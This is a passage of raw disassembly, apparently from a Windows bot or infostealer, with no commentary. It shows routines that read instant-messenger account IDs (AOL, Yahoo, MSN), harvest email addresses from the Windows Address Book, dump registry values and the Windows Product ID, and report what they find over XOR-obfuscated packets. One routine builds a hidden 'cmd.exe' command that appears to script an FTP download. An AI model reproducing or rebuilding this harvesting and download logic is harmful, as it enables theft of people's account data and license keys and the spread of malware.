0E424848Dh, 52000002h, 6A006A50h dd 8A346800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h, 4489C0h dd 6852F08Bh, 4489B0h, 1BE89056h, 68001C07h, 444E74h, 8F72E856h dd 8B907780h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44899468h dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h, 16F4249Ch dd 548D0000h, 68527C24h, 448978h, 0E8694B8Dh, 0FFFCB3EDh dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8085h, 0FCB74EE8h dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 90560A74h dd 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h, 8D024D9Eh dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h dd 184h ; --------------------------------------------------------------------------- loc_436148: ; CODE XREF: ___:00435BD1j lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4362CC lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 2940000h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_448910 push ecx mov dword ptr [esp+2Ch], 100h nop call near ptr 28F0000h test eax, eax jz short loc_4361D2 mov edx, [esp+10h] push edx nop call near ptr 2910000h jmp loc_4362CC ; --------------------------------------------------------------------------- loc_4361D2: ; CODE XREF: ___:004361C0j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_511740 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_448904 mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 2940000h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h call near ptr 28F0000h nop test eax, eax jz short loc_436289 mov ecx, [esp+10h] push ecx call ebp jmp short loc_4362CC ; --------------------------------------------------------------------------- loc_436289: ; CODE XREF: ___:0043627Ej mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_4362CC: ; CODE XREF: ___:0043615Aj ; ___:0043617Ej ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4364D0 proc near ; CODE XREF: sub_4016FEj var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4364D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_4364D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_436570: ; CODE XREF: ___:loc_401FF5j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017EE mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43680E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h call near ptr 2940000h nop mov eax, [esp+14h] test eax, eax jz loc_43680E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_448F40 push eax call near ptr 28F0000h nop mov eax, [esp+14h] push eax call near ptr 2910000h nop push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx call near ptr 286033Ah nop push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2720000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_436649 push edi call near ptr 284070Bh nop pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436649: ; CODE XREF: ___:00436631j push 0 push 0 push 0 push 4 push ebx nop call near ptr 272064Eh mov esi, eax test esi, esi jnz short loc_436679 mov esi, dword_5118E0 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436679: ; CODE XREF: ___:0043665Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_436718 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4366BB: ; CODE XREF: ___:0043670Ej xor eax, eax mov ecx, edi loc_4366BF: ; CODE XREF: ___:004366CFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4366BF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h add edi, 44h dec ebx jnz short loc_4366BB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_436718: ; CODE XREF: ___:004366A7j push edi mov edi, dword_5118E0 call edi push esi nop call near ptr 272083Eh push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 2940000h test eax, eax jnz loc_43680E mov ebx, dword_511C00 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_436767: ; CODE XREF: ___:004367FEj mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_448A50 push ecx call ebx mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 28F0000h test eax, eax jnz short loc_436803 lea ecx, [esp+2DCh] push ecx push offset dword_448A44 lea ecx, [ebp+69h] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h push 64h nop call near ptr 2831CE8h jmp loc_436767 ; --------------------------------------------------------------------------- loc_436803: ; CODE XREF: ___:004367C3j mov ecx, [esp+18h] push ecx call near ptr 2910000h nop loc_43680E: ; CODE XREF: ___:00436594j ; ___:004365C4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368D0 proc near ; CODE XREF: sub_401E65j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4368D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_40168B lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4368D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_40168B add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4369E0 proc near ; CODE XREF: sub_401E6Aj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4369E0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436EB7 push ebp xor ebp, ebp push ebp push offset asc_444600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017EE mov edi, dword_511764 push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017EE mov ebp, dword_51172C push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436B0C lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B93+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436B0C: ; CODE XREF: sub_4369E0+FCj mov ecx, [esp+144h+var_130] push ecx call near ptr 2910000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436BF4 lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B87+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436BF4: ; CODE XREF: sub_4369E0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2910000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436CDC lea ecx, [esp+144h+var_108] push ecx push offset loc_448B7C lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436CDC: ; CODE XREF: sub_4369E0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2910000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436DC4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436DC4: ; CODE XREF: sub_4369E0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2910000h push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017EE push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_436EAD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_436EAD: ; CODE XREF: sub_4369E0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_436F51 ; --------------------------------------------------------------------------- loc_436EB7: ; CODE XREF: sub_4369E0+3Cj lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436F57 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h call near ptr 2940000h nop mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 28F0000h test eax, eax jnz short loc_436F4C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h loc_436F4C: ; CODE XREF: sub_4369E0+539j mov eax, [esp+144h+var_12C] push eax loc_436F51: ; CODE XREF: sub_4369E0+4D2j nop call near ptr 2910000h loc_436F57: ; CODE XREF: sub_4369E0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4369E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4370F0 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_43710D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_437103: ; CODE XREF: sub_4370F0+1Bj cmp [eax+edx], cl jz short loc_437111 inc eax cmp eax, esi jl short loc_437103 loc_43710D: ; CODE XREF: sub_4370F0+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_437111: ; CODE XREF: sub_4370F0+16j pop esi mov al, 1 retn sub_4370F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_437130: ; CODE XREF: ___:00401433j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h nop call near ptr 71AB2B66h mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_448B9F+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_4371EC push ebx push ebp call eax add esp, 8 loc_4371EC: ; CODE XREF: ___:004371E3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43722E: ; CODE XREF: ___:004372A7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4372A9 loc_43726E: ; CODE XREF: ___:0043723Cj ; ___:0043724Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4372A0 loc_437293: ; CODE XREF: ___:0043729Ej mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437293 loc_4372A0: ; CODE XREF: ___:00437291j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43722E ; --------------------------------------------------------------------------- loc_4372A9: ; CODE XREF: ___:0043726Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_437390: ; CODE XREF: ___:00401D75j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B9F+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_437442 push ebx push ebp call eax add esp, 8 loc_437442: ; CODE XREF: ___:00437439j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437484: ; CODE XREF: ___:004374FDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4374FF loc_4374C4: ; CODE XREF: ___:00437492j ; ___:004374A2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4374F6 loc_4374E9: ; CODE XREF: ___:004374F4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4374E9 loc_4374F6: ; CODE XREF: ___:004374E7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_437484 ; --------------------------------------------------------------------------- loc_4374FF: ; CODE XREF: ___:004374C2j mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4375F0: ; CODE XREF: ___:00401FFFj mov eax, 200Ch call sub_437B30 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call near ptr word_5F67AE lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B9F+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_4376F2 push ebx push ebp call eax add esp, 8 loc_4376F2: ; CODE XREF: ___:004376E9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437734: ; CODE XREF: ___:004377ADj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4377AF loc_437774: ; CODE XREF: ___:00437742j ; ___:00437752j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4377A6 loc_437799: ; CODE XREF: ___:004377A4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437799 loc_4377A6: ; CODE XREF: ___:00437797j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_437734 ; --------------------------------------------------------------------------- loc_4377AF: ; CODE XREF: ___:00437772j mov eax, [esp+18h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4378B0: ; CODE 